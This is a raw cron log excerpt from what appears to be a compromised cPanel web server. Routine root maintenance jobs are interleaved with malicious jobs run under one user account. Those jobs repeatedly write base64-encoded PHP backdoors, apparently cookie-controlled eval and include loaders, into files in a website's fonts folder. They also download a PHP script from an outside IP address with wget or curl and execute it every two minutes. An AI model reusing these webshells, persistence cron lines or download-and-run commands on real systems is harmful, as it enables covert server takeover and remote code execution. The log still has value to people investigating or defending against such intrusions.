Sep 10 14:38:01 ip-184-168-122-23 CROND[24820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:38:01 ip-184-168-122-23 CROND[24821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:39:01 ip-184-168-122-23 CROND[24936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:39:01 ip-184-168-122-23 CROND[24937]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 14:39:01 ip-184-168-122-23 CROND[24940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:39:01 ip-184-168-122-23 CROND[24943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:39:01 ip-184-168-122-23 CROND[24942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:40:01 ip-184-168-122-23 CROND[25091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:40:01 ip-184-168-122-23 CROND[25093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:40:01 ip-184-168-122-23 CROND[25098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:41:01 ip-184-168-122-23 CROND[25219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:41:01 ip-184-168-122-23 CROND[25223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:41:01 ip-184-168-122-23 CROND[25225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:41:01 ip-184-168-122-23 CROND[25224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:42:01 ip-184-168-122-23 CROND[25322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:42:01 ip-184-168-122-23 CROND[25323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:42:01 ip-184-168-122-23 CROND[25321]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:42:01 ip-184-168-122-23 CROND[25320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:42:01 ip-184-168-122-23 CROND[25319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:43:01 ip-184-168-122-23 CROND[25429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:43:01 ip-184-168-122-23 CROND[25431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:43:01 ip-184-168-122-23 CROND[25428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:43:01 ip-184-168-122-23 CROND[25430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:44:01 ip-184-168-122-23 CROND[25613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:44:01 ip-184-168-122-23 CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:44:01 ip-184-168-122-23 CROND[25616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:44:01 ip-184-168-122-23 CROND[25617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:44:01 ip-184-168-122-23 CROND[25619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:45:01 ip-184-168-122-23 CROND[25701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:45:01 ip-184-168-122-23 CROND[25704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:45:01 ip-184-168-122-23 CROND[25703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:45:01 ip-184-168-122-23 CROND[25706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:45:01 ip-184-168-122-23 CROND[25705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:45:01 ip-184-168-122-23 CROND[25707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:46:01 ip-184-168-122-23 CROND[25840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:46:01 ip-184-168-122-23 CROND[25842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:46:01 ip-184-168-122-23 CROND[25845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:46:01 ip-184-168-122-23 CROND[25843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:46:01 ip-184-168-122-23 CROND[25844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:46:01 ip-184-168-122-23 CROND[25846]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 14:46:01 ip-184-168-122-23 CROND[25847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:47:01 ip-184-168-122-23 CROND[25976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:47:01 ip-184-168-122-23 CROND[25979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:47:01 ip-184-168-122-23 CROND[25982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:47:01 ip-184-168-122-23 CROND[25984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:48:01 ip-184-168-122-23 CROND[26093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:48:01 ip-184-168-122-23 CROND[26094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:48:01 ip-184-168-122-23 CROND[26095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:48:01 ip-184-168-122-23 CROND[26096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:48:01 ip-184-168-122-23 CROND[26097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:49:01 ip-184-168-122-23 CROND[26271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:49:01 ip-184-168-122-23 CROND[26272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:49:01 ip-184-168-122-23 CROND[26273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:49:01 ip-184-168-122-23 CROND[26274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:50:01 ip-184-168-122-23 CROND[26374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:50:01 ip-184-168-122-23 CROND[26379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
